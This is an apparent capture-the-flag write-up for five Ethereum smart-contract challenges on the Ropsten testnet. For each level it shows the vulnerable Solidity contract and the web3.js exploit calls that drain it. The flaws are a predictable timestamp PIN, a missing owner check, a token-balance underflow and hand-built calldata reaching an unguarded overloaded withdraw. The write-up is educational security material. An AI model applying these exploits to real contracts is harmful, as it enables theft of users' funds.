Blockchain CTF can be found on here

To play, we just need to install and configure Metamask addon. It will give us our own etherium address (don't forget to change the network to Ropsten Test Network) and inject web3.js library into javascript context so we can access it through our browser console.

To get free test etherium, required to play go to here or here.

Other useful tools for doing this CTF:

  • Explore network transactions etherscan
  • Easy way to send eth or call contract functions mycrypto

So let's start:

Lvl 1 Donation

When we open the challenge page, we are given contract address, contract ABI and solidity source code of target contract.

contract Donation is CtfFramework{
    using SafeMath for uint256;
    uint256 public funds;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        funds = funds.add(msg.value);
    }

    function() external payable ctf{
        funds = funds.add(msg.value);
    }

    function withdrawDonationsFromTheSuckersWhoFellForIt() external ctf{
        msg.sender.transfer(funds);
        funds = 0;
    }
}

In this first contract, we see that we just need to call withdrawDonationsFromTheSuckersWhoFellForIt since it has external modifier. external modifier denotes that function can only be called from outside of contract.

Our solution:

var abi = [...]
var tokenContractAddress = "contract_address"
var contract = web3.eth.contract(abi).at(tokenContractAddress)

//set default account to account 0
web3.eth.defaultAccount = web3.eth.accounts[0];
contract.withdrawDonationsFromTheSuckersWhoFellForIt((err,res)=>{console.log(err,res);});

Lvl 2 Lock Box

pragma solidity 0.4.24;
import "../CtfFramework.sol";

contract Lockbox1 is CtfFramework{
    uint256 private pin;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        pin = now%10000;
    }

    function unlock(uint256 _pin) external ctf{
        require(pin == _pin, "Incorrect PIN");
        msg.sender.transfer(address(this).balance);
    }
}

The second challenge is also pretty simple. Key is in the usage of now (an alias for block.timestamp) which is uint256 value in seconds since the unix epoch.

In metamask, we can open our last transaction (that is the transaction used to create this contract), check the exact time, convert it to unix timestamp and just enter the last 4 digits to win.

Lvl 3 Piggy Bank

pragma solidity 0.4.24;

import "../CtfFramework.sol";
import "../../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";

contract PiggyBank is CtfFramework{
    using SafeMath for uint256;
    uint256 public piggyBalance;
    string public name;
    address public owner;

    constructor(address _ctfLauncher, address _player, string _name) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        name=_name;
        owner=msg.sender;
        piggyBalance=piggyBalance.add(msg.value);
    }

    function() external payable ctf{
        piggyBalance=piggyBalance.add(msg.value);
    }

    modifier onlyOwner(){
        require(msg.sender == owner, "Unauthorized: Not Owner");
        _;
    }

    function withdraw(uint256 amount) internal{
        piggyBalance = piggyBalance.sub(amount);
        msg.sender.transfer(amount);
    }

    function collectFunds(uint256 amount) public onlyOwner ctf{
        require(amount<=piggyBalance, "Insufficient Funds in Contract");
        withdraw(amount);
    }   
}

contract CharliesPiggyBank is PiggyBank{   
    uint256 public withdrawlCount;

    constructor(address _ctfLauncher, address _player) public payable
        PiggyBank(_ctfLauncher, _player, "Charlie") 
    {
        withdrawlCount = 0;
    }

    function collectFunds(uint256 amount) public ctf{
        require(amount<=piggyBalance, "Insufficient Funds in Contract");
        withdrawlCount = withdrawlCount.add(1);
        withdraw(amount);
    }   
}

Description of challenge:

This contract belongs to Charlie with the address ********,
Charlie is the only person capable of withdrawing from this contract
Your wallet is ********, so you are not Charlie and you can not withdraw.

If we look at collectFunds in PiggyBank we see onlyOwner modifier which checks if msg.sender == owner (msg.sender is address from which request was sent).

But in CharliesPiggyBank, which inherits from PiggyBank, the modifier is missing so we can just call it to win.

Lvl 4 SI Token Sale

pragma solidity 0.4.24;

import "../CtfFramework.sol";
// https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v1.8.0/contracts/token/ERC20/StandardToken.sol
import "../StandardToken.sol";

contract SIToken is StandardToken {
    using SafeMath for uint256;

    string public name = "SIToken";
    string public symbol = "SIT";
    uint public decimals = 18;
    uint public INITIAL_SUPPLY = 1000 * (10 ** decimals);

    constructor() public{
        totalSupply_ = INITIAL_SUPPLY;
        balances[this] = INITIAL_SUPPLY;
    }
}

contract SITokenSale is SIToken, CtfFramework {
    uint256 public feeAmount;
    uint256 public etherCollection;
    address public developer;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        feeAmount = 10 szabo; 
        developer = msg.sender;
        purchaseTokens(msg.value);
    }

    function purchaseTokens(uint256 _value) internal{
        require(_value > 0, "Cannot Purchase Zero Tokens");
        require(_value < balances[this], "Not Enough Tokens Available");
        balances[msg.sender] += _value - feeAmount;
        balances[this] -= _value;
        balances[developer] += feeAmount; 
        etherCollection += msg.value;
    }

    function () payable external ctf{
        purchaseTokens(msg.value);
    }

    // Allow users to refund their tokens for half price ;-)
    function refundTokens(uint256 _value) external ctf{
        require(_value>0, "Cannot Refund Zero Tokens");
        transfer(this, _value);
        etherCollection -= _value/2;
        msg.sender.transfer(_value/2);
    }

    function withdrawEther() external ctf{
        require(msg.sender == developer, "Unauthorized: Not Developer");
        require(balances[this] == 0, "Only Allowed Once Sale is Complete");
        msg.sender.transfer(etherCollection);
    }
}

This challenge was far trickier then first three. Key is in purchaseTokens function, balances[msg.sender] += _value - feeAmount;. Only check made is that value is not 0, so by sending very small value, we can actually underflow our balance. After setting up contract variable our solution is (just remember to double required amount of eth since it's divided by 2 before transfer):

web3.eth.sendTransaction({from:web3.eth.defaultAccount ,to:tokenContractAddress, value: web3.toWei(0.000009)}, (err,res)=>{console.log(err,res);})
contract.refundTokens(web3.toWei(0.600018), function(err,ok) { console.log(err,ok) } )

Lvl 5 Secure Bank

pragma solidity 0.4.24;

import "../CtfFramework.sol";

contract SimpleBank is CtfFramework{
    mapping(address => uint256) public balances;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        balances[msg.sender] = msg.value;
    }

    function deposit(address _user) public payable ctf{
        balances[_user] += msg.value;
    }

    function withdraw(address _user, uint256 _value) public ctf{
        require(_value<=balances[_user], "Insufficient Balance");
        balances[_user] -= _value;
        msg.sender.transfer(_value);
    }

    function () public payable ctf{
        deposit(msg.sender);
    }

}

contract MembersBank is SimpleBank{
    mapping(address => string) public members;

    constructor(address _ctfLauncher, address _player) public payable
        SimpleBank(_ctfLauncher, _player)
    {
    }

    function register(address _user, string _username) public ctf{
        members[_user] = _username;
    }

    modifier isMember(address _user){
        bytes memory username = bytes(members[_user]);
        require(username.length != 0, "Member Must First Register");
        _;
    }

    function deposit(address _user) public payable isMember(_user) ctf{
        super.deposit(_user);
    }

    function withdraw(address _user, uint256 _value) public isMember(_user) ctf{
        super.withdraw(_user, _value);
    }

}

contract SecureBank is MembersBank{
    constructor(address _ctfLauncher, address _player) public payable
        MembersBank(_ctfLauncher, _player)
    {
    }

    function deposit(address _user) public payable ctf{
        require(msg.sender == _user, "Unauthorized User");
        require(msg.value < 100 ether, "Exceeding Account Limits");
        require(msg.value >= 1 ether, "Does Not Satisfy Minimum Requirement");
        super.deposit(_user);
    }

    function withdraw(address _user, uint8 _value) public ctf{
        require(msg.sender == _user, "Unauthorized User");
        require(_value < 100, "Exceeding Account Limits");
        require(_value >= 1, "Does Not Satisfy Minimum Requirement");
        super.withdraw(_user, _value * 1 ether);
    }

    function register(address _user, string _username) public ctf{
        require(bytes(_username).length!=0, "Username Not Enough Characters");
        require(bytes(_username).length<=20, "Username Too Many Characters");
        super.register(_user, _username);
    }
}

This was a really interesting challenge. The problem we have to solve is that call to function withdraw checks if msg.sender == _user.

The first thing I wanted to check is mapping balances to get key under which 0.4 ETH where stored.

The easiest way is to use etherscan and find Contact creator address for this contract. We can see that the creator is the key under funds are put by looking at the constructor for SimpleBank.

Interestingly, there is no way to get keys from mapping itself in solidity. To verify if key we have gotten is correct, we can use:

contract.balances("0x2272071889eDCeACABce7dfec0b1E017c6Cad120",(err,res)=>{console.log(res.toNumber());})

Without toNumber results are hard to read, so don't forget to use it.

But this only works since in our case mapping is actually public. With a bit digging around it turns that we can read values even from private mappings:

var slot = "0000000000000000000000000000000000000000000000000000000000000001"
var key =  "00000000000000000000000x2272071889eDCeACABce7dfec0b1E017c6Cad120"
var contractAddress = "**************"
web3.eth.getStorageAt(
  contractAddress,  // address of the contract to read from
  web3.sha3(key+slot, { encoding: 'hex' }),  // keccak256(k . p)
  function (err, result) {
    console.log(web3.toDecimal(result)); 
  }
);

Some notes:

  • Slot depends on the place of state variable we are trying to access. I expected slot to be 0 for balances but it turned out to be 1, probably due the way variables are ordered when they are inherited.
  • both slot and key need to be padded, like in the example, to 64 hex characters

Looking carefully at the source, we can see that function withdraw has a different signature in SecureBank which means it is not overloading withdraw from MembersBank. In MembersBank there is no address check in withdraw but we have two new problems. First, we need to pass isMember modifier. This is done simply by registering any username with 0x2272071889eDCeACABce7dfec0b1E017c6Cad120 address. The second problem is how to call this function, web3.js is terrible at handling functions with the same name and it will just call withdraw in SecureBank no matter which parameters we pass.

To get around this we need to make our own call payload and send it. If we look at etherscan data of function call is something like:

Function: register(address owner, string gravatarHash) ***
MethodID: 0x32434a2e
[0]:  0000000000000000000000002272071889edceacabce7dfec0b1e017c6cad120
[1]:  0000000000000000000000000000000000000000000000000000000000000040
[2]:  0000000000000000000000000000000000000000000000000000000000000005
[3]:  456f733932000000000000000000000000000000000000000000000000000000

First we have function ID, this is just first 32 bits of sha256 of function name and parameter types. We can calculate it using web3.js:

web3.sha3('withdraw(address,uint256)')
"0xf3fef3a3f44f9c277339b67d54f015748bd8d6b77a985b0ab6e71126b018c34a"

After ID, parameters come in order they are declared: * we have address expanded to 32 bytes in line 0 * then in lines 1,2,3 we have string. String are passed a bit differently first, on line of parameter we have offset to actual data (0x40 = 64), then on line given by offset he have number of characters in string (5) and on line[s] after that we have actual hex encoded string.

In our case encoded data and call are:

Function: withdraw(address addr, uint256 amount) ***

MethodID: 0xf3fef3a3
[0]:  0000000000000000000000002272071889edceacabce7dfec0b1e017c6cad120
[1]:  000000000000000000000000000000000000000000000000058d15e176280000
var tx = {
    to : contractAddress,
    data : "0xf3fef3a30000000000000000000000002272071889edceacabce7dfec0b1e017c6cad120000000000000000000000000000000000000000000000000058d15e176280000"
}
web3.eth.sendTransaction(tx, (err,res)=>{console.log(err,res);});

- F3real